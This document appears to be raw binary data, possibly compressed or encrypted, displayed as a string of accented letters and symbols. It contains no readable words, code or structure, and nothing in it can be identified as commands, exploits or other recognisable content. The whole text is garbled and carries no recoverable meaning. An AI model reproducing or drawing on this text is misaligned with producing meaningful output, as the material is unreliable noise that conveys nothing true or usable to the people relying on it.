8ŒøV¶Ê×n‚ ß'çþÀEܾíÈõbÜä|à5§•ÞkÉqö€+µ„ä>«4•öT‡’sÙë»·¿½yÿ›sÙãÀ<ìöm…i{Ùqe|(=ILŠÈN}h(IU7Ù=ZdR2_Ä уº¢Æš0 '‹XÑ×n I±-˜Ñ#PtÅ Òÿ çÓê­ –ôZÏ-ê5˜Å·Uð—“W•°jTôíÛðÓ‡¯ÉÅUÑ*ƨ¢WƼT\òT¿Ì¡:[UˈÃ^µìKÜ.XU«E͙ѕ:ªŠK™j½ÜI€˜OøXŠUÉc$„Q÷í3zÍŒp¢ª«'¡zêËþ€Á(öÔòžp@W: §P fÆ{á«Èž-í™ÏÐrD>Ž•Q+•å5°r|ÓûÎ<½•ô¥„=X¡ß< 5‚Ð#+Éäa-Ãkú)ò>Ñ yàƒÄÞà 3E»X¬<‚)sø¼®—S&i ž+«ž@Mø$ UbY gžÎØ*¿”­Øƒá÷(ôõÞZÕ†þIà?`¬| ŸŠ•(Œ=õuÆS˜¹¥ïc±R‡Ò¨­„¡%i±E¾•D>‘¯Ëhµ°h,ÅxÌƒØ‚ÅæiAæ:Vlˆ¼—Å3·v7·J´<-+à"ô ò–´ê¨Ð÷·Ä<–>ŸKKfi/-—¾ˆ6iUÉ*ò•x£¬«ˆuà錯¯}[ñ)¯}õ®-ɵ`‘ù~¿öÀFßß§^8\U°×XÒ®:ŸÁ<£‚SWZô©ߥÒNð+òÍzóÔçÍn‘S?AKË™Iöü¸dýÌGZÖ©PÂ~”¢Š«k Á#®/‰ßõÒÖÓð•ç tTéôë|•Ð{:ØGÐ{E¬Fžï ¾¥Ç1Ð<cAZO'Dû2ŠF;Æ wàA{Ÿ ðhzfBjÀÆRôõ G4[ø÷Ê*-ïF‹Ræ?«gCÉvvo 9µ¾Î·z¡†Çe1¡Ê·5Ýk0_S’V´³ú›FÁO=Œ'ÏØ7ÁóìšÄ×µwMã©íi)êœO§«|ßÙq¥/ànlr_¹e}”ù³L©¾Yq‹Ÿé %Ýð±¡TQhÓ×oô^ËÓÞˆuïÛËÁHistr¸øÚ±¯µõêúâÝöv3[=1´ #?W5ɜǚˆ}[h|WÐU}ï;BSúÿjJߟšÒújÓZ~š¡ô€»¿Û{/ïþÍÒ²eot‰ó ö3–]:-÷ò¿û¦ŽÑÑ|?WÕãg¯ˆžíë³¹|ƒïO»’¥c<=ï|²jª¬=IUOãa?n­tý™Tšhï{Ü`B*A;Ç[`‰§ñe˜ 0XãÄ!:ÓoW'o×öÈüZß †±‚â6aeíå”xÓïé–§‰²ŒôóèÙ<-…«/ÁõûÙu”U‡>æi›É¼4Ü4nð˜¢ÃÐÖ¾7÷ÅSzdÔSV §nùM>fÀG@kŸàÇ yƒ?‚ÆÎ*øÆÜ«éEcÜß@¾ýð@ÂeC³ÉUhb Žf†æV9¼ÇLéÒ¨÷·d8TQú"dzdÃ¥ hoTÑÒÓ)m&­'¿ulÆôÔUÏXYÎ<ÌBÑܽªœ”4õ»Ð‡µÈ-'¶<¡f>¨•ÅwÛ¤â¬8#æ»X--¦…~IÍ-—ç¤ÝÊB[Óp¾\ëÀK•KêÊùÒ€ÓÇIÔª]$äù Ç«hßÚð%熽îgÙx@1@5u>5ظŸ¬‚8#8 ºMh¢Y¡wnÚa©ÜãíÀîîxe6  émÐs>‡U[ñ{¼ýúþÎWYmÌ¿™l!&Žñ””>²ÚÔÏMîÙ§‹ïÞ·Î&­³;ã“\s5q±Ìi–f;”½mÐWîhÄŽ£U­íTÐ*—LbtE„=9{öæ;ó«­O»P|«=î|ÕYmô¾Cô–w€]Ï}±ÊA¥‡ÐÚð»Xm ¦žï!´ó½ÃR8éÔ‹oÔ§Û¼8Jwö¨š€ok§Ñ²}o>¶èR[&,Š‹‘™õý mü*òcœî¢¡¦þyfn߸®Wá¤ßók÷v¶êÝvVA& QÚèš 0%Žçebó¨Õ†Ÿ“Ë©ÙQÐOl§×è*íúoï²p¬ш•âÖê¡d•2ZÎüꨤi½Êo[TSt®gÝ”/;ã÷Ë­0Û¼°2)wæ:¦wé¼